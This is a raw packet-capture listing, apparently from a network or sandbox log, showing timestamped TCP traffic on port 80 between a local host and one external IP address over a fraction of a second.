Jun 27, 2024 06:44:19.071293116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071307898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071331024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071332932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071343899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071357965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071371078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071448088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071491957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071505070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071526051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071530104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071540117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071553946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071557045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071567059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071568012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071576118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071588993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071599960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071603060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071619034 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071630955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071644068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071644068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071671963 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071746111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071759939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071774006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071784019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071789026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071801901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071803093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071815968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071825981 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071830034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071844101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071857929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071867943 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071878910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071897030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071978092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071990013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072004080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072017908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072031021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072031021 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072043896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072045088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072058916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072067022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072072983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072086096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072092056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072101116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072114944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072140932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072241068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072254896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072268009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072280884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072290897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072294950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072307110 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072314978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072328091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072329044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072344065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072354078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072359085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072376966 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072398901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072478056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072495937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072504044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072519064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072539091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072541952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072556019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072561979 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072568893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072582006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072585106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072596073 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072599888 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072609901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072623968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072627068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072637081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072644949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072669029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072681904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072824001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072838068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072851896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072861910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072865009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072875977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072880030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072894096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072894096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072902918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072907925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072921991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072926044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072936058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072949886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072953939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.072963953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.072968960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.073002100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.074114084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074127913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074141026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074155092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074167967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074182034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074187040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.074197054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074209929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074223995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074233055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.074238062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074251890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074265003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074275017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.074279070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074292898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074306011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074316025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.074318886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074335098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.074362993 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.074403048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.139894009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.139911890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.139928102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.139962912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.139976978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.139990091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.140003920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.140017986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.140099049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.140099049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.140099049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.140099049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.148341894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148355961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148369074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148391008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148405075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148408890 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.148417950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148432970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148444891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.148453951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.148466110 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.148494005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.157829046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.157843113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.157866955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.157885075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.157898903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.157911062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.157912970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.157927036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.157996893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158018112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158031940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158045053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158058882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158071995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158071041 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158071995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158071995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158071995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158085108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158092022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158092022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158112049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158132076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158260107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158273935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158288002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158301115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158313990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158317089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158328056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158341885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158341885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158354998 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158376932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158379078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158390045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158405066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158410072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158417940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158430099 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158447027 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158462048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158469915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158492088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158504963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158519030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158525944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158531904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158546925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158552885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158562899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158567905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158584118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158591986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158613920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158725977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158760071 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158864021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158878088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158891916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158905029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158905983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158920050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158921003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158935070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158936977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158948898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158962011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158965111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158974886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.158987999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.158996105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159008980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159018040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159030914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159033060 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159046888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159055948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159075975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159087896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159128904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159142971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159154892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159163952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159168005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159183025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159188032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159195900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159209013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159233093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159274101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159287930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159302950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159307957 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159317017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159327030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159331083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159343004 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159347057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159360886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159360886 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159374952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159375906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159389019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159393072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159404039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159415960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159418106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159432888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159440041 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159446955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159463882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159480095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159679890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159693956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159714937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159727097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159728050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159743071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159749031 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159756899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159771919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159816980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159831047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159846067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159852028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159862041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159867048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159877062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159888029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159890890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159904957 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159904957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159919977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159921885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159935951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159936905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159945965 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159950972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159964085 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159965992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159976006 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159980059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.159991980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.159993887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160006046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160022020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160154104 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160284996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160300016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160321951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160321951 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160336018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160337925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160348892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160357952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160362959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160372019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160376072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160387993 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160391092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160403967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160406113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160413980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160418987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160428047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160433054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160440922 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160445929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160458088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160460949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160470963 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160475016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.160556078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.160556078 CEST	49719	80	192.168.2.5	5.42.67.8
